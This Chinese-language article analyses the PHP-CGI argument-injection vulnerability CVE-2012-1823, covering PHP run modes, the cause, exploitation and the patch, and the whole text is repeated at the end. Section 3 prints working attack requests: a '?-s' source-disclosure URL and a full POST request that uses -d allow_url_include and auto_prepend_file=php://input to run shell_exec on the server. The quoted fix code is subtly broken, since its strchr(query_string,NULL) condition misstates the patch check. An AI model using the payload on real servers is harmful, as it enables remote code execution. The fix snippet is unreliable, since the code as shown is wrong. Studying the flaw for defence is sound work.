CVE-2012-1823
字数 1116 2025-08-18 11:39:00

PHP-CGI 参数注入漏洞 (CVE-2012-1823) 深入分析

1. PHP 运行模式基础

在理解该漏洞前,需要先了解PHP的四种主要运行模式:

1.1 CGI (通用网关接口)

  • 定义:客户端与Web服务器程序间传输数据的标准接口
  • 特点
    • 独立于任何编程语言
    • 每个用户请求都会创建单独的子进程
    • 性能较差,近年较少使用

1.2 FastCGI

  • 改进:CGI的升级版本,常驻型进程
  • PHP实现:PHP-FPM (FastCGI Process Manager)
  • 优势
    • 无需每次请求都重新初始化
    • 避免重复解析php.ini和加载扩展

1.3 CLI (命令行接口)

  • 用途:命令行环境下的PHP执行
  • 特点:直接执行PHP文件,如Workerman框架使用

1.4 Module加载

  • 适用服务器:主要针对Apache
  • 特点:PHP作为Apache的子模块运行

2. 漏洞概述

2.1 影响范围

  • PHP版本 < 5.3.12 或 < 5.4.2
  • 仅影响以CGI模式运行的PHP

2.2 漏洞成因

  • 根本原因:查询字符串(querystring)被错误地作为php-cgi参数解析
  • RFC3875规定:当querystring不含未解码的"="时,应将其作为CGI参数
  • PHP实现问题
    • 开发者为了方便测试,移除了参数限制
    • 允许通过querystring传递命令行参数

3. 漏洞利用技术

3.1 可控命令行参数

  • -c:指定php.ini文件位置
  • -n:不加载php.ini文件
  • -d:指定配置项
  • -b:启动fastcgi进程
  • -s:显示文件源码
  • -T:执行指定次数的文件
  • -h-?:显示帮助

3.2 基本利用方式

  • 显示源码:使用-s参数
    http://target/index.php?-s
    

3.3 高级利用方式

  • 任意文件包含:通过-d参数组合

    • 原理:
      1. 设置allow_url_include=on
      2. 使用auto_prepend_file加载恶意内容
      3. 通过php://input读取POST数据执行代码
  • 攻击示例

    POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
    Host: target
    Content-Length: 30
    
    <?php echo shell_exec("ls");?>
    

4. 漏洞修复方案

4.1 修复原理

  1. 获取并解码querystring
  2. 跳过所有空白字符
  3. 检查第一个字符是否为"-"
    • 如果是则设置skip_getopt标志
    • 禁止获取命令行参数

4.2 修复代码示例

if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string,NULL)) {
    unsigned char *p;
    decoded_query_string = strdup(query_string);
    php_url_decode(decoded_query_string, strlen(decoded_query_string));
    for (p = decoded_query_string; *p && *p <= ' '; p++) {
        /* skip all leading spaces */
    }
    if(*p == '-') {
        skip_getopt = 1;
    }
    free(decoded_query_string);
}

5. 总结与启示

  • 漏洞本质:参数注入导致的代码执行
  • 现代意义:虽然已修复,但仍具研究价值
  • 安全启示
    • 严格验证用户输入
    • 遵循RFC规范时需全面考虑安全影响
    • 最小权限原则在API设计中至关重要

该漏洞展示了Web应用程序中参数处理不当可能导致的严重后果,强调了输入验证和安全配置的重要性。

PHP-CGI 参数注入漏洞 (CVE-2012-1823) 深入分析 1. PHP 运行模式基础 在理解该漏洞前,需要先了解PHP的四种主要运行模式: 1.1 CGI (通用网关接口) 定义 :客户端与Web服务器程序间传输数据的标准接口 特点 : 独立于任何编程语言 每个用户请求都会创建单独的子进程 性能较差,近年较少使用 1.2 FastCGI 改进 :CGI的升级版本,常驻型进程 PHP实现 :PHP-FPM (FastCGI Process Manager) 优势 : 无需每次请求都重新初始化 避免重复解析php.ini和加载扩展 1.3 CLI (命令行接口) 用途 :命令行环境下的PHP执行 特点 :直接执行PHP文件,如Workerman框架使用 1.4 Module加载 适用服务器 :主要针对Apache 特点 :PHP作为Apache的子模块运行 2. 漏洞概述 2.1 影响范围 PHP版本 < 5.3.12 或 < 5.4.2 仅影响 以CGI模式运行的PHP 2.2 漏洞成因 根本原因 :查询字符串(querystring)被错误地作为php-cgi参数解析 RFC3875规定 :当querystring不含未解码的"="时,应将其作为CGI参数 PHP实现问题 : 开发者为了方便测试,移除了参数限制 允许通过querystring传递命令行参数 3. 漏洞利用技术 3.1 可控命令行参数 -c :指定php.ini文件位置 -n :不加载php.ini文件 -d :指定配置项 -b :启动fastcgi进程 -s :显示文件源码 -T :执行指定次数的文件 -h 和 -? :显示帮助 3.2 基本利用方式 显示源码 :使用 -s 参数 3.3 高级利用方式 任意文件包含 :通过 -d 参数组合 原理: 设置 allow_url_include=on 使用 auto_prepend_file 加载恶意内容 通过 php://input 读取POST数据执行代码 攻击示例 : 4. 漏洞修复方案 4.1 修复原理 获取并解码querystring 跳过所有空白字符 检查第一个字符是否为"-" 如果是则设置 skip_getopt 标志 禁止获取命令行参数 4.2 修复代码示例 5. 总结与启示 漏洞本质 :参数注入导致的代码执行 现代意义 :虽然已修复,但仍具研究价值 安全启示 : 严格验证用户输入 遵循RFC规范时需全面考虑安全影响 最小权限原则在API设计中至关重要 该漏洞展示了Web应用程序中参数处理不当可能导致的严重后果,强调了输入验证和安全配置的重要性。